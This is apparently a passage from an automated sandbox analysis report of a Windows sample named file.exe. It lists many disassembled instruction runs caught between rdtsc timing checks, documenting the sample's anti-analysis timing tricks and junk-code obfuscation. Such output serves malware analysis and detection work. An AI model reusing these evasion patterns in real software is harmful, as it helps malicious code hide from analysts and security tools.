Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 171126B second address: 171126F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 171402E second address: 1714034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1716719 second address: 171671D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1718401 second address: 1718405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1718405 second address: 1718413 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1718413 second address: 1718496 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F0DEC859E68h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D1B1Ah], esi 0x0000002b ja 00007F0DEC859E70h 0x00000031 push 00000000h 0x00000033 mov dword ptr [ebp+122D18BCh], eax 0x00000039 mov dword ptr [ebp+122D17F0h], esi 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push edx 0x00000044 call 00007F0DEC859E68h 0x00000049 pop edx 0x0000004a mov dword ptr [esp+04h], edx 0x0000004e add dword ptr [esp+04h], 00000014h 0x00000056 inc edx 0x00000057 push edx 0x00000058 ret 0x00000059 pop edx 0x0000005a ret 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f jmp 00007F0DEC859E6Ch 0x00000064 jp 00007F0DEC859E66h 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17175B5 second address: 17175DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0DECF2B4E5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17175DC second address: 1717664 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0DEC859E77h 0x00000008 jmp 00007F0DEC859E79h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 xor edi, dword ptr [ebp+1245FD8Bh] 0x00000017 push dword ptr fs:[00000000h] 0x0000001e mov ebx, dword ptr [ebp+122D1C8Fh] 0x00000024 mov edi, dword ptr [ebp+122D2772h] 0x0000002a mov dword ptr fs:[00000000h], esp 0x00000031 jns 00007F0DEC859E6Ch 0x00000037 mov eax, dword ptr [ebp+122D0E09h] 0x0000003d stc 0x0000003e push FFFFFFFFh 0x00000040 mov ebx, dword ptr [ebp+122D38B1h] 0x00000046 nop 0x00000047 push edx 0x00000048 pushad 0x00000049 push ebx 0x0000004a pop ebx 0x0000004b jnl 00007F0DEC859E66h 0x00000051 popad 0x00000052 pop edx 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 pushad 0x00000058 popad 0x00000059 pushad 0x0000005a popad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1719564 second address: 1719598 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0DECF2B4E8h 0x00000008 jmp 00007F0DECF2B4E2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0DECF2B4E5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1718638 second address: 171863C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 171974A second address: 1719750 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1719750 second address: 171976B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DEC859E77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 171976B second address: 171976F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1721378 second address: 172139D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0DEC859E66h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F0DEC859E71h 0x00000011 pop ebx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1722E76 second address: 1722E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1722E80 second address: 1722E86 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1722E86 second address: 1722EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0DECF2B4DEh 0x0000000d jmp 00007F0DECF2B4E2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1726D42 second address: 1726D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DEC859E6Ah 0x00000009 popad 0x0000000a push edi 0x0000000b jno 00007F0DEC859E66h 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1726D5F second address: 1726D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0DECF2B4D6h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F0DECF2B4DDh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1726D7A second address: 1726DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007F0DEC859E72h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jbe 00007F0DEC859E66h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1726DAD second address: 1726DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1726DB2 second address: 1726DC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DEC859E71h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1726F99 second address: 1726F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 172C973 second address: 172C99A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0DEC859E66h 0x00000008 jmp 00007F0DEC859E79h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 172C99A second address: 172C9AD instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0DECF2B4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jng 00007F0DECF2B4D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 172CE08 second address: 172CE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 172CE0C second address: 172CE12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 172CE12 second address: 172CE2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F0DEC859E6Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 172CE2A second address: 172CE30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 172CF70 second address: 172CF8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DEC859E75h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 172CF8A second address: 172CF90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 172CF90 second address: 172CF94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 172CF94 second address: 172CF9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 172D2AE second address: 172D2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 172D2B2 second address: 172D307 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F0DECF2B4E5h 0x0000000d pushad 0x0000000e jmp 00007F0DECF2B4DAh 0x00000013 jmp 00007F0DECF2B4DEh 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b jmp 00007F0DECF2B4E1h 0x00000020 push esi 0x00000021 jnc 00007F0DECF2B4D6h 0x00000027 pop esi 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1731EAE second address: 1731EC1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0DEC859E6Eh 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1730D2D second address: 1730D45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F0DECF2B4E3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F7383 second address: 16DCCBD instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0DEC859E66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c mov dword ptr [ebp+122D1B30h], edi 0x00000012 call dword ptr [ebp+122D25ABh] 0x00000018 jc 00007F0DEC859E90h 0x0000001e jmp 00007F0DEC859E77h 0x00000023 pushad 0x00000024 jmp 00007F0DEC859E6Bh 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F7928 second address: 16F792D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F792D second address: 16F7933 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F7933 second address: 16F7937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F79D2 second address: 16F7A21 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0DEC859E6Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 7F212D05h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F0DEC859E68h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b stc 0x0000002c push 07AE2FCEh 0x00000031 pushad 0x00000032 jbe 00007F0DEC859E68h 0x00000038 push eax 0x00000039 push edx 0x0000003a push ecx 0x0000003b pop ecx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 16F7ADC second address: 16F7AE1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17311B6 second address: 17311C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17311C0 second address: 17311D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jg 00007F0DECF2B4D8h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F0DECF2B4D6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17315FB second address: 1731607 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0DEC859E66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173893F second address: 173895F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0DECF2B4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop esi 0x0000000e jmp 00007F0DECF2B4DDh 0x00000013 popad 0x00000014 push eax 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1737365 second address: 173736C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173736C second address: 173737D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jng 00007F0DECF2B4D6h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173737D second address: 1737385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17377B5 second address: 17377CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0DECF2B4E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1737BAF second address: 1737BD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1738133 second address: 173814E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4DEh 0x00000007 jng 00007F0DECF2B4D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173814E second address: 1738153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1738153 second address: 173815F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F0DECF2B4D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173815F second address: 1738163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17382E5 second address: 1738312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4DDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F0DECF2B4DEh 0x00000010 popad 0x00000011 push esi 0x00000012 push ebx 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1738312 second address: 1738316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173F635 second address: 173F639 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173F639 second address: 173F65B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0DEC859E72h 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F0DEC859E66h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173F65B second address: 173F69A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0DECF2B4D6h 0x00000008 jbe 00007F0DECF2B4D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F0DECF2B4E2h 0x00000017 jmp 00007F0DECF2B4E6h 0x0000001c push ecx 0x0000001d push eax 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173E357 second address: 173E36C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0DEC859E6Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173E36C second address: 173E378 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173E378 second address: 173E37C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173E4AF second address: 173E4C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 ja 00007F0DECF2B4D6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173E4C1 second address: 173E4D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0DEC859E66h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173E4D4 second address: 173E4DE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0DECF2B4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173E953 second address: 173E957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173E957 second address: 173E969 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECF2B4DEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173EACC second address: 173EAD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173ED5F second address: 173EDAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0DECF2B4E1h 0x0000000b pushad 0x0000000c jmp 00007F0DECF2B4E5h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F0DECF2B4E4h 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d pushad 0x0000001e popad 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push edi 0x00000023 pop edi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173EDAE second address: 173EDC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DEC859E6Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173EDC0 second address: 173EDC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 173EEF5 second address: 173EF09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 js 00007F0DEC859E66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F0DEC859E68h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1742627 second address: 1742644 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jnl 00007F0DECF2B4D6h 0x00000011 jg 00007F0DECF2B4D6h 0x00000017 popad 0x00000018 pop ebx 0x00000019 push ebx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1742644 second address: 174264C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1748F0D second address: 1748F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 jmp 00007F0DECF2B4E4h 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1748F2D second address: 1748F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0DEC859E66h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d popad 0x0000000e push ecx 0x0000000f jmp 00007F0DEC859E71h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1748F51 second address: 1748F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1748F55 second address: 1748F59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 17487ED second address: 17487FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1748ACA second address: 1748B02 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F0DEC859E6Ah 0x0000000e popad 0x0000000f jmp 00007F0DEC859E6Dh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 pop eax 0x0000001a jmp 00007F0DEC859E6Dh 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1748B02 second address: 1748B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1748B0B second address: 1748B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1748B0F second address: 1748B13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1748B13 second address: 1748B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0DEC859E66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
